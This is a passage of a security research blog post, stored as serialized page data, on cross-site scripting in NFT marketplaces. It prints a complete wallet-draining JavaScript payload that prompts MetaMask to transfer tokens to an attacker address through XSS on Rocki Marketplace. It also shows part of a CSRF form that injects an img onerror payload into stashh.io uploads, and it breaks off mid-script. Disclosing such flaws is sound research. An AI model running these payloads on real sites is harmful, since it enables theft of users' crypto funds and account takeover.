of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":24,"tag":62,"props":38909,"children":38910},{"id":38882},[38911],{"type":29,"value":38912},"XSS",{"type":24,"tag":25,"props":38914,"children":38915},{},[38916],{"type":24,"tag":10648,"props":38917,"children":38918},{},[38919,38921,38928],{"type":29,"value":38920},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":24,"tag":32,"props":38922,"children":38925},{"href":38923,"rel":38924},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[36],[38926],{"type":29,"value":38927},"even explain it to myself",{"type":29,"value":41},{"type":24,"tag":85,"props":38930,"children":38932},{"id":38931},"managing-metadata",[38933],{"type":29,"value":38934},"Managing Metadata",{"type":24,"tag":25,"props":38936,"children":38937},{},[38938,38940,38947],{"type":29,"value":38939},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":24,"tag":32,"props":38941,"children":38944},{"href":38942,"rel":38943},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[36],[38945],{"type":29,"value":38946},"payloads",{"type":29,"value":41},{"type":24,"tag":25,"props":38949,"children":38950},{},[38951,38953,38960,38962,38968],{"type":29,"value":38952},"We showcase this vulnerability in the ",{"type":24,"tag":32,"props":38954,"children":38957},{"href":38955,"rel":38956},"https://rocki.com/",[36],[38958],{"type":29,"value":38959},"Rocki Marketplace",{"type":29,"value":38961},". The ",{"type":24,"tag":135,"props":38963,"children":38965},{"className":38964},[],[38966],{"type":29,"value":38967},"artistDescription",{"type":29,"value":38969}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":24,"tag":25,"props":38971,"children":38972},{},[38973],{"type":24,"tag":74,"props":38974,"children":38976},{"alt":7,"src":38975},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":24,"tag":25,"props":38978,"children":38979},{},[38980],{"type":29,"value":38981},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":24,"tag":25,"props":38983,"children":38984},{},[38985],{"type":24,"tag":74,"props":38986,"children":38988},{"alt":7,"src":38987},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":24,"tag":25,"props":38990,"children":38991},{},[38992],{"type":29,"value":38993},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":24,"tag":85,"props":38995,"children":38997},{"id":38996},"wheres-my-wallet",[38998],{"type":29,"value":38999},"Where's My Wallet",{"type":24,"tag":25,"props":39001,"children":39002},{},[39003],{"type":29,"value":39004},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":24,"tag":25,"props":39006,"children":39007},{},[39008],{"type":29,"value":39009},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":24,"tag":25,"props":39011,"children":39012},{},[39013],{"type":29,"value":39014},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":24,"tag":25,"props":39016,"children":39017},{},[39018],{"type":29,"value":39019},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":24,"tag":39021,"props":39022,"children":39024},"div",{"style":39023},"display:flex; align-items:center; flex-direction:column;",[39025],{"type":24,"tag":74,"props":39026,"children":39030},{"src":39027,"alt":39028,"style":39029},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":24,"tag":25,"props":39032,"children":39033},{},[39034],{"type":29,"value":39035},"And here we can find the code used to achieve it :",{"type":24,"tag":261,"props":39037,"children":39041},{"className":39038,"code":39039,"language":39040,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[39042],{"type":24,"tag":135,"props":39043,"children":39044},{"__ignoreMap":7},[39045,39062,39106,39135,39151,39214,39247,39272,39297,39304,39324,39331,39347,39359,39366,39383,39400,39408,39415,39431,39447,39454,39462,39479,39491,39498,39514,39530,39537,39544,39561,39568,39576,39583,39630,39637,39701,39708,39728,39744,39760,39781,39852,39868,39875,39882,39920,39928,39935,39942,39949,39970],{"type":24,"tag":271,"props":39046,"children":39047},{"class":273,"line":274},[39048,39053,39058],{"type":24,"tag":271,"props":39049,"children":39050},{"style":278},[39051],{"type":29,"value":39052},"function",{"type":24,"tag":271,"props":39054,"children":39055},{"style":598},[39056],{"type":29,"value":39057}," request",{"type":24,"tag":271,"props":39059,"children":39060},{"style":288},[39061],{"type":29,"value":23434},{"type":24,"tag":271,"props":39063,"children":39064},{"class":273,"line":284},[39065,39069,39073,39078,39083,39087,39092,39097,39102],{"type":24,"tag":271,"props":39066,"children":39067},{"style":749},[39068],{"type":29,"value":956},{"type":24,"tag":271,"props":39070,"children":39071},{"style":288},[39072],{"type":29,"value":1357},{"type":24,"tag":271,"props":39074,"children":39075},{"style":278},[39076],{"type":29,"value":39077},"typeof",{"type":24,"tag":271,"props":39079,"children":39080},{"style":630},[39081],{"type":29,"value":39082}," window",{"type":24,"tag":271,"props":39084,"children":39085},{"style":288},[39086],{"type":29,"value":41},{"type":24,"tag":271,"props":39088,"children":39089},{"style":630},[39090],{"type":29,"value":39091},"ethereum",{"type":24,"tag":271,"props":39093,"children":39094},{"style":624},[39095],{"type":29,"value":39096}," ===",{"type":24,"tag":271,"props":39098,"children":39099},{"style":378},[39100],{"type":29,"value":39101}," 'undefined'",{"type":24,"tag":271,"props":39103,"children":39104},{"style":288},[39105],{"type":29,"value":919},{"type":24,"tag":271,"props":39107,"children":39108},{"class":273,"line":294},[39109,39114,39118,39122,39126,39131],{"type":24,"tag":271,"props":39110,"children":39111},{"style":630},[39112],{"type":29,"value":39113}," console",{"type":24,"tag":271,"props":39115,"children":39116},{"style":288},[39117],{"type":29,"value":41},{"type":24,"tag":271,"props":39119,"children":39120},{"style":598},[39121],{"type":29,"value":22561},{"type":24,"tag":271,"props":39123,"children":39124},{"style":288},[39125],{"type":29,"value":606},{"type":24,"tag":271,"props":39127,"children":39128},{"style":378},[39129],{"type":29,"value":39130},"'Please install MetaMask to use this feature.'",{"type":24,"tag":271,"props":39132,"children":39133},{"style":288},[39134],{"type":29,"value":1155},{"type":24,"tag":271,"props":39136,"children":39137},{"class":273,"line":303},[39138,39143,39147],{"type":24,"tag":271,"props":39139,"children":39140},{"style":288},[39141],{"type":29,"value":39142}," } ",{"type":24,"tag":271,"props":39144,"children":39145},{"style":749},[39146],{"type":29,"value":11044},{"type":24,"tag":271,"props":39148,"children":39149},{"style":288},[39150],{"type":29,"value":7145},{"type":24,"tag":271,"props":39152,"children":39153},{"class":273,"line":312},[39154,39159,39163,39168,39173,39178,39183,39188,39193,39198,39202,39206,39210],{"type":24,"tag":271,"props":39155,"children":39156},{"style":630},[39157],{"type":29,"value":39158}," ethereum",{"type":24,"tag":271,"props":39160,"children":39161},{"style":288},[39162],{"type":29,"value":41},{"type":24,"tag":271,"props":39164,"children":39165},{"style":598},[39166],{"type":29,"value":39167},"request",{"type":24,"tag":271,"props":39169,"children":39170},{"style":288},[39171],{"type":29,"value":39172},"({ ",{"type":24,"tag":271,"props":39174,"children":39175},{"style":630},[39176],{"type":29,"value":39177},"method:",{"type":24,"tag":271,"props":39179,"children":39180},{"style":378},[39181],{"type":29,"value":39182}," 'eth_requestAccounts'",{"type":24,"tag":271,"props":39184,"children":39185},{"style":288},[39186],{"type":29,"value":39187}," }).",{"type":24,"tag":271,"props":39189,"children":39190},{"style":598},[39191],{"type":29,"value":39192},"then",{"type":24,"tag":271,"props":39194,"children":39195},{"style":288},[39196],{"type":29,"value":39197},"((",{"type":24,"tag":271,"props":39199,"children":39200},{"style":630},[39201],{"type":29,"value":22373},{"type":24,"tag":271,"props":39203,"children":39204},{"style":288},[39205],{"type":29,"value":8823},{"type":24,"tag":271,"props":39207,"children":39208},{"style":278},[39209],{"type":29,"value":22519},{"type":24,"tag":271,"props":39211,"children":39212},{"style":288},[39213],{"type":29,"value":7145},{"type":24,"tag":271,"props":39215,"children":39216},{"class":273,"line":321},[39217,39221,39226,39230,39235,39239,39243],{"type":24,"tag":271,"props":39218,"children":39219},{"style":278},[39220],{"type":29,"value":646},{"type":24,"tag":271,"props":39222,"children":39223},{"style":630},[39224],{"type":29,"value":39225}," fromAddress",{"type":24,"tag":271,"props":39227,"children":39228},{"style":624},[39229],{"type":29,"value":1712},{"type":24,"tag":271,"props":39231,"children":39232},{"style":630},[39233],{"type":29,"value":39234}," accounts",{"type":24,"tag":271,"props":39236,"children":39237},{"style":288},[39238],{"type":29,"value":4520},{"type":24,"tag":271,"props":39240,"children":39241},{"style":477},[39242],{"type":29,"value":4121},{"type":24,"tag":271,"props":39244,"children":39245},{"style":288},[39246],{"type":29,"value":4865},{"type":24,"tag":271,"props":39248,"children":39249},{"class":273,"line":330},[39250,39254,39259,39263,39268],{"type":24,"tag":271,"props":39251,"children":39252},{"style":278},[39253],{"type":29,"value":646},{"type":24,"tag":271,"props":39255,"children":39256},{"style":630},[39257],{"type":29,"value":39258}," attackerAddress",{"type":24,"tag":271,"props":39260,"children":39261},{"style":624},[39262],{"type":29,"value":1712},{"type":24,"tag":271,"props":39264,"children":39265},{"style":378},[39266],{"type":29,"value":39267}," '0x0000000000000000000000000000000000000000'",{"type":24,"tag":271,"props":39269,"children":39270},{"style":288},[39271],{"type":29,"value":1069},{"type":24,"tag":271,"props":39273,"children":39274},{"class":273,"line":339},[39275,39279,39284,39288,39293],{"type":24,"tag":271,"props":39276,"children":39277},{"style":278},[39278],{"type":29,"value":646},{"type":24,"tag":271,"props":39280,"children":39281},{"style":630},[39282],{"type":29,"value":39283}," contractAddress",{"type":24,"tag":271,"props":39285,"children":39286},{"style":624},[39287],{"type":29,"value":1712},{"type":24,"tag":271,"props":39289,"children":39290},{"style":378},[39291],{"type":29,"value":39292}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":24,"tag":271,"props":39294,"children":39295},{"style":288},[39296],{"type":29,"value":1069},{"type":24,"tag":271,"props":39298,"children":39299},{"class":273,"line":347},[39300],{"type":24,"tag":271,"props":39301,"children":39302},{"emptyLinePlaceholder":16},[39303],{"type":29,"value":327},{"type":24,"tag":271,"props":39305,"children":39306},{"class":273,"line":356},[39307,39311,39316,39320],{"type":24,"tag":271,"props":39308,"children":39309},{"style":278},[39310],{"type":29,"value":15790},{"type":24,"tag":271,"props":39312,"children":39313},{"style":630},[39314],{"type":29,"value":39315}," tokenAbi",{"type":24,"tag":271,"props":39317,"children":39318},{"style":624},[39319],{"type":29,"value":1712},{"type":24,"tag":271,"props":39321,"children":39322},{"style":288},[39323],{"type":29,"value":33297},{"type":24,"tag":271,"props":39325,"children":39326},{"class":273,"line":365},[39327],{"type":24,"tag":271,"props":39328,"children":39329},{"style":288},[39330],{"type":29,"value":7545},{"type":24,"tag":271,"props":39332,"children":39333},{"class":273,"line":374},[39334,39339,39343],{"type":24,"tag":271,"props":39335,"children":39336},{"style":630},[39337],{"type":29,"value":39338}," constant:",{"type":24,"tag":271,"props":39340,"children":39341},{"style":278},[39342],{"type":29,"value":1877},{"type":24,"tag":271,"props":39344,"children":39345},{"style":288},[39346],{"type":29,"value":638},{"type":24,"tag":271,"props":39348,"children":39349},{"class":273,"line":384},[39350,39355],{"type":24,"tag":271,"props":39351,"children":39352},{"style":630},[39353],{"type":29,"value":39354}," inputs:",{"type":24,"tag":271,"props":39356,"children":39357},{"style":288},[39358],{"type":29,"value":33297},{"type":24,"tag":271,"props":39360,"children":39361},{"class":273,"line":393},[39362],{"type":24,"tag":271,"props":39363,"children":39364},{"style":288},[39365],{"type":29,"value":8534},{"type":24,"tag":271,"props":39367,"children":39368},{"class":273,"line":402},[39369,39374,39379],{"type":24,"tag":271,"props":39370,"children":39371},{"style":630},[39372],{"type":29,"value":39373}," name:",{"type":24,"tag":271,"props":39375,"children":39376},{"style":378},[39377],{"type":29,"value":39378}," '_to'",{"type":24,"tag":271,"props":39380,"children":39381},{"style":288},[39382],{"type":29,"value":638},{"type":24,"tag":271,"props":39384,"children":39385},{"class":273,"line":411},[39386,39391,39396],{"type":24,"tag":271,"props":39387,"children":39388},{"style":630},[39389],{"type":29,"value":39390}," type:",{"type":24,"tag":271,"props":39392,"children":39393},{"style":378},[39394],{"type":29,"value":39395}," 'address'",{"type":24,"tag":271,"props":39397,"children":39398},{"style":288},[39399],{"type":29,"value":638},{"type":24,"tag":271,"props":39401,"children":39402},{"class":273,"line":420},[39403],{"type":24,"tag":271,"props":39404,"children":39405},{"style":288},[39406],{"type":29,"value":39407}," },\n",{"type":24,"tag":271,"props":39409,"children":39410},{"class":273,"line":429},[39411],{"type":24,"tag":271,"props":39412,"children":39413},{"style":288},[39414],{"type":29,"value":8534},{"type":24,"tag":271,"props":39416,"children":39417},{"class":273,"line":438},[39418,39422,39427],{"type":24,"tag":271,"props":39419,"children":39420},{"style":630},[39421],{"type":29,"value":39373},{"type":24,"tag":271,"props":39423,"children":39424},{"style":378},[39425],{"type":29,"value":39426}," '_value'",{"type":24,"tag":271,"props":39428,"children":39429},{"style":288},[39430],{"type":29,"value":638},{"type":24,"tag":271,"props":39432,"children":39433},{"class":273,"line":447},[39434,39438,39443],{"type":24,"tag":271,"props":39435,"children":39436},{"style":630},[39437],{"type":29,"value":39390},{"type":24,"tag":271,"props":39439,"children":39440},{"style":378},[39441],{"type":29,"value":39442}," 'uint256'",{"type":24,"tag":271,"props":39444,"children":39445},{"style":288},[39446],{"type":29,"value":638},{"type":24,"tag":271,"props":39448,"children":39449},{"class":273,"line":455},[39450],{"type":24,"tag":271,"props":39451,"children":39452},{"style":288},[39453],{"type":29,"value":39407},{"type":24,"tag":271,"props":39455,"children":39456},{"class":273,"line":464},[39457],{"type":24,"tag":271,"props":39458,"children":39459},{"style":288},[39460],{"type":29,"value":39461}," ],\n",{"type":24,"tag":271,"props":39463,"children":39464},{"class":273,"line":473},[39465,39470,39475],{"type":24,"tag":271,"props":39466,"children":39467},{"style":630},[39468],{"type":29,"value":39469}," name:",{"type":24,"tag":271,"props":39471,"children":39472},{"style":378},[39473],{"type":29,"value":39474}," 'transfer'",{"type":24,"tag":271,"props":39476,"children":39477},{"style":288},[39478],{"type":29,"value":638},{"type":24,"tag":271,"props":39480,"children":39481},{"class":273,"line":483},[39482,39487],{"type":24,"tag":271,"props":39483,"children":39484},{"style":630},[39485],{"type":29,"value":39486}," outputs:",{"type":24,"tag":271,"props":39488,"children":39489},{"style":288},[39490],{"type":29,"value":33297},{"type":24,"tag":271,"props":39492,"children":39493},{"class":273,"line":491},[39494],{"type":24,"tag":271,"props":39495,"children":39496},{"style":288},[39497],{"type":29,"value":8534},{"type":24,"tag":271,"props":39499,"children":39500},{"class":273,"line":499},[39501,39505,39510],{"type":24,"tag":271,"props":39502,"children":39503},{"style":630},[39504],{"type":29,"value":39373},{"type":24,"tag":271,"props":39506,"children":39507},{"style":378},[39508],{"type":29,"value":39509}," ''",{"type":24,"tag":271,"props":39511,"children":39512},{"style":288},[39513],{"type":29,"value":638},{"type":24,"tag":271,"props":39515,"children":39516},{"class":273,"line":3188},[39517,39521,39526],{"type":24,"tag":271,"props":39518,"children":39519},{"style":630},[39520],{"type":29,"value":39390},{"type":24,"tag":271,"props":39522,"children":39523},{"style":378},[39524],{"type":29,"value":39525}," 'bool'",{"type":24,"tag":271,"props":39527,"children":39528},{"style":288},[39529],{"type":29,"value":638},{"type":24,"tag":271,"props":39531,"children":39532},{"class":273,"line":3247},[39533],{"type":24,"tag":271,"props":39534,"children":39535},{"style":288},[39536],{"type":29,"value":39407},{"type":24,"tag":271,"props":39538,"children":39539},{"class":273,"line":3255},[39540],{"type":24,"tag":271,"props":39541,"children":39542},{"style":288},[39543],{"type":29,"value":39461},{"type":24,"tag":271,"props":39545,"children":39546},{"class":273,"line":3263},[39547,39552,39557],{"type":24,"tag":271,"props":39548,"children":39549},{"style":630},[39550],{"type":29,"value":39551}," type:",{"type":24,"tag":271,"props":39553,"children":39554},{"style":378},[39555],{"type":29,"value":39556}," 'function'",{"type":24,"tag":271,"props":39558,"children":39559},{"style":288},[39560],{"type":29,"value":638},{"type":24,"tag":271,"props":39562,"children":39563},{"class":273,"line":3293},[39564],{"type":24,"tag":271,"props":39565,"children":39566},{"style":288},[39567],{"type":29,"value":33049},{"type":24,"tag":271,"props":39569,"children":39570},{"class":273,"line":3301},[39571],{"type":24,"tag":271,"props":39572,"children":39573},{"style":288},[39574],{"type":29,"value":39575}," ];\n",{"type":24,"tag":271,"props":39577,"children":39578},{"class":273,"line":3683},[39579],{"type":24,"tag":271,"props":39580,"children":39581},{"emptyLinePlaceholder":16},[39582],{"type":29,"value":327},{"type":24,"tag":271,"props":39584,"children":39585},{"class":273,"line":4486},[39586,39590,39595,39599,39604,39609,39613,39618,39622,39626],{"type":24,"tag":271,"props":39587,"children":39588},{"style":278},[39589],{"type":29,"value":646},{"type":24,"tag":271,"props":39591,"children":39592},{"style":630},[39593],{"type":29,"value":39594}," web3",{"type":24,"tag":271,"props":39596,"children":39597},{"style":624},[39598],{"type":29,"value":1712},{"type":24,"tag":271,"props":39600,"children":39601},{"style":278},[39602],{"type":29,"value":39603}," new",{"type":24,"tag":271,"props":39605,"children":39606},{"style":598},[39607],{"type":29,"value":39608}," Web3",{"type":24,"tag":271,"props":39610,"children":39611},{"style":288},[39612],{"type":29,"value":606},{"type":24,"tag":271,"props":39614,"children":39615},{"style":630},[39616],{"type":29,"value":39617},"window",{"type":24,"tag":271,"props":39619,"children":39620},{"style":288},[39621],{"type":29,"value":41},{"type":24,"tag":271,"props":39623,"children":39624},{"style":630},[39625],{"type":29,"value":39091},{"type":24,"tag":271,"props":39627,"children":39628},{"style":288},[39629],{"type":29,"value":1155},{"type":24,"tag":271,"props":39631,"children":39632},{"class":273,"line":4509},[39633],{"type":24,"tag":271,"props":39634,"children":39635},{"emptyLinePlaceholder":16},[39636],{"type":29,"value":327},{"type":24,"tag":271,"props":39638,"children":39639},{"class":273,"line":4545},[39640,39644,39649,39653,39657,39661,39665,39670,39674,39679,39683,39688,39692,39697],{"type":24,"tag":271,"props":39641,"children":39642},{"style":278},[39643],{"type":29,"value":646},{"type":24,"tag":271,"props":39645,"children":39646},{"style":630},[39647],{"type":29,"value":39648}," tokenContract",{"type":24,"tag":271,"props":39650,"children":39651},{"style":624},[39652],{"type":29,"value":1712},{"type":24,"tag":271,"props":39654,"children":39655},{"style":278},[39656],{"type":29,"value":39603},{"type":24,"tag":271,"props":39658,"children":39659},{"style":630},[39660],{"type":29,"value":39594},{"type":24,"tag":271,"props":39662,"children":39663},{"style":288},[39664],{"type":29,"value":41},{"type":24,"tag":271,"props":39666,"children":39667},{"style":630},[39668],{"type":29,"value":39669},"eth",{"type":24,"tag":271,"props":39671,"children":39672},{"style":288},[39673],{"type":29,"value":41},{"type":24,"tag":271,"props":39675,"children":39676},{"style":598},[39677],{"type":29,"value":39678},"Contract",{"type":24,"tag":271,"props":39680,"children":39681},{"style":288},[39682],{"type":29,"value":606},{"type":24,"tag":271,"props":39684,"children":39685},{"style":630},[39686],{"type":29,"value":39687},"tokenAbi",{"type":24,"tag":271,"props":39689,"children":39690},{"style":288},[39691],{"type":29,"value":158},{"type":24,"tag":271,"props":39693,"children":39694},{"style":630},[39695],{"type":29,"value":39696},"contractAddress",{"type":24,"tag":271,"props":39698,"children":39699},{"style":288},[39700],{"type":29,"value":1155},{"type":24,"tag":271,"props":39702,"children":39703},{"class":273,"line":4591},[39704],{"type":24,"tag":271,"props":39705,"children":39706},{"emptyLinePlaceholder":16},[39707],{"type":29,"value":327},{"type":24,"tag":271,"props":39709,"children":39710},{"class":273,"line":4628},[39711,39715,39720,39724],{"type":24,"tag":271,"props":39712,"children":39713},{"style":278},[39714],{"type":29,"value":646},{"type":24,"tag":271,"props":39716,"children":39717},{"style":630},[39718],{"type":29,"value":39719}," transactionObject",{"type":24,"tag":271,"props":39721,"children":39722},{"style":624},[39723],{"type":29,"value":1712},{"type":24,"tag":271,"props":39725,"children":39726},{"style":288},[39727],{"type":29,"value":7145},{"type":24,"tag":271,"props":39729,"children":39730},{"class":273,"line":4658},[39731,39736,39740],{"type":24,"tag":271,"props":39732,"children":39733},{"style":630},[39734],{"type":29,"value":39735}," from:",{"type":24,"tag":271,"props":39737,"children":39738},{"style":630},[39739],{"type":29,"value":39225},{"type":24,"tag":271,"props":39741,"children":39742},{"style":288},[39743],{"type":29,"value":638},{"type":24,"tag":271,"props":39745,"children":39746},{"class":273,"line":4666},[39747,39752,39756],{"type":24,"tag":271,"props":39748,"children":39749},{"style":630},[39750],{"type":29,"value":39751}," to:",{"type":24,"tag":271,"props":39753,"children":39754},{"style":630},[39755],{"type":29,"value":39283},{"type":24,"tag":271,"props":39757,"children":39758},{"style":288},[39759],{"type":29,"value":638},{"type":24,"tag":271,"props":39761,"children":39762},{"class":273,"line":4674},[39763,39768,39772,39776],{"type":24,"tag":271,"props":39764,"children":39765},{"style":630},[39766],{"type":29,"value":39767}," data:",{"type":24,"tag":271,"props":39769,"children":39770},{"style":630},[39771],{"type":29,"value":39648},{"type":24,"tag":271,"props":39773,"children":39774},{"style":288},[39775],{"type":29,"value":41},{"type":24,"tag":271,"props":39777,"children":39778},{"style":630},[39779],{"type":29,"value":39780},"methods\n",{"type":24,"tag":271,"props":39782,"children":39783},{"class":273,"line":4683},[39784,39789,39794,39798,39803,39807,39812,39816,39821,39825,39830,39834,39839,39843,39848],{"type":24,"tag":271,"props":39785,"children":39786},{"style":288},[39787],{"type":29,"value":39788}," .",{"type":24,"tag":271,"props":39790,"children":39791},{"style":598},[39792],{"type":29,"value":39793},"transfer",{"type":24,"tag":271,"props":39795,"children":39796},{"style":288},[39797],{"type":29,"value":606},{"type":24,"tag":271,"props":39799,"children":39800},{"style":630},[39801],{"type":29,"value":39802},"attackerAddress",{"type":24,"tag":271,"props":39804,"children":39805},{"style":288},[39806],{"type":29,"value":158},{"type":24,"tag":271,"props":39808,"children":39809},{"style":630},[39810],{"type":29,"value":39811},"web3",{"type":24,"tag":271,"props":39813,"children":39814},{"style":288},[39815],{"type":29,"value":41},{"type":24,"tag":271,"props":39817,"children":39818},{"style":630},[39819],{"type":29,"value":39820},"utils",{"type":24,"tag":271,"props":39822,"children":39823},{"style":288},[39824],{"type":29,"value":41},{"type":24,"tag":271,"props":39826,"children":39827},{"style":598},[39828],{"type":29,"value":39829},"toWei",{"type":24,"tag":271,"props":39831,"children":39832},{"style":288},[39833],{"type":29,"value":606},{"type":24,"tag":271,"props":39835,"children":39836},{"style":378},[39837],{"type":29,"value":39838},"'100000000'",{"type":24,"tag":271,"props":39840,"children":39841},{"style":288},[39842],{"type":29,"value":158},{"type":24,"tag":271,"props":39844,"children":39845},{"style":378},[39846],{"type":29,"value":39847},"'ether'",{"type":24,"tag":271,"props":39849,"children":39850},{"style":288},[39851],{"type":29,"value":27401},{"type":24,"tag":271,"props":39853,"children":39854},{"class":273,"line":4691},[39855,39859,39864],{"type":24,"tag":271,"props":39856,"children":39857},{"style":288},[39858],{"type":29,"value":39788},{"type":24,"tag":271,"props":39860,"children":39861},{"style":598},[39862],{"type":29,"value":39863},"encodeABI",{"type":24,"tag":271,"props":39865,"children":39866},{"style":288},[39867],{"type":29,"value":11217},{"type":24,"tag":271,"props":39869,"children":39870},{"class":273,"line":4708},[39871],{"type":24,"tag":271,"props":39872,"children":39873},{"style":288},[39874],{"type":29,"value":16633},{"type":24,"tag":271,"props":39876,"children":39877},{"class":273,"line":4716},[39878],{"type":24,"tag":271,"props":39879,"children":39880},{"emptyLinePlaceholder":16},[39881],{"type":29,"value":327},{"type":24,"tag":271,"props":39883,"children":39884},{"class":273,"line":10423},[39885,39890,39894,39898,39902,39907,39911,39916],{"type":24,"tag":271,"props":39886,"children":39887},{"style":630},[39888],{"type":29,"value":39889}," web3",{"type":24,"tag":271,"props":39891,"children":39892},{"style":288},[39893],{"type":29,"value":41},{"type":24,"tag":271,"props":39895,"children":39896},{"style":630},[39897],{"type":29,"value":39669},{"type":24,"tag":271,"props":39899,"children":39900},{"style":288},[39901],{"type":29,"value":41},{"type":24,"tag":271,"props":39903,"children":39904},{"style":598},[39905],{"type":29,"value":39906},"sendTransaction",{"type":24,"tag":271,"props":39908,"children":39909},{"style":288},[39910],{"type":29,"value":606},{"type":24,"tag":271,"props":39912,"children":39913},{"style":630},[39914],{"type":29,"value":39915},"transactionObject",{"type":24,"tag":271,"props":39917,"children":39918},{"style":288},[39919],{"type":29,"value":1155},{"type":24,"tag":271,"props":39921,"children":39922},{"class":273,"line":10431},[39923],{"type":24,"tag":271,"props":39924,"children":39925},{"style":288},[39926],{"type":29,"value":39927}," });\n",{"type":24,"tag":271,"props":39929,"children":39930},{"class":273,"line":10439},[39931],{"type":24,"tag":271,"props":39932,"children":39933},{"style":288},[39934],{"type":29,"value":13588},{"type":24,"tag":271,"props":39936,"children":39937},{"class":273,"line":10447},[39938],{"type":24,"tag":271,"props":39939,"children":39940},{"style":288},[39941],{"type":29,"value":1171},{"type":24,"tag":271,"props":39943,"children":39944},{"class":273,"line":10468},[39945],{"type":24,"tag":271,"props":39946,"children":39947},{"emptyLinePlaceholder":16},[39948],{"type":29,"value":327},{"type":24,"tag":271,"props":39950,"children":39952},{"class":273,"line":39951},51,[39953,39957,39961,39966],{"type":24,"tag":271,"props":39954,"children":39955},{"style":278},[39956],{"type":29,"value":27172},{"type":24,"tag":271,"props":39958,"children":39959},{"style":288},[39960],{"type":29,"value":606},{"type":24,"tag":271,"props":39962,"children":39963},{"style":378},[39964],{"type":29,"value":39965},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":24,"tag":271,"props":39967,"children":39968},{"style":288},[39969],{"type":29,"value":1155},{"type":24,"tag":271,"props":39971,"children":39973},{"class":273,"line":39972},52,[39974,39979,39983,39987,39991,39996],{"type":24,"tag":271,"props":39975,"children":39976},{"style":598},[39977],{"type":29,"value":39978},"setTimeout",{"type":24,"tag":271,"props":39980,"children":39981},{"style":288},[39982],{"type":29,"value":606},{"type":24,"tag":271,"props":39984,"children":39985},{"style":630},[39986],{"type":29,"value":39167},{"type":24,"tag":271,"props":39988,"children":39989},{"style":288},[39990],{"type":29,"value":158},{"type":24,"tag":271,"props":39992,"children":39993},{"style":477},[39994],{"type":29,"value":39995},"1e3",{"type":24,"tag":271,"props":39997,"children":39998},{"style":288},[39999],{"type":29,"value":1155},{"type":24,"tag":25,"props":40001,"children":40002},{},[40003,40008],{"type":24,"tag":213,"props":40004,"children":40005},{},[40006],{"type":29,"value":40007},"CSRF & XSS",{"type":29,"value":40009},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":24,"tag":25,"props":40011,"children":40012},{},[40013,40015,40020],{"type":29,"value":40014},"Our attention was drawn to ",{"type":24,"tag":32,"props":40016,"children":40018},{"href":38955,"rel":40017},[36],[40019],{"type":29,"value":38959},{"type":29,"value":40021},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":24,"tag":25,"props":40023,"children":40024},{},[40025],{"type":24,"tag":74,"props":40026,"children":40028},{"alt":7,"src":40027},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":24,"tag":25,"props":40030,"children":40031},{},[40032],{"type":29,"value":40033},"and here there is the code:",{"type":24,"tag":261,"props":40035,"children":40037},{"className":39038,"code":40036,"language":39040,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n 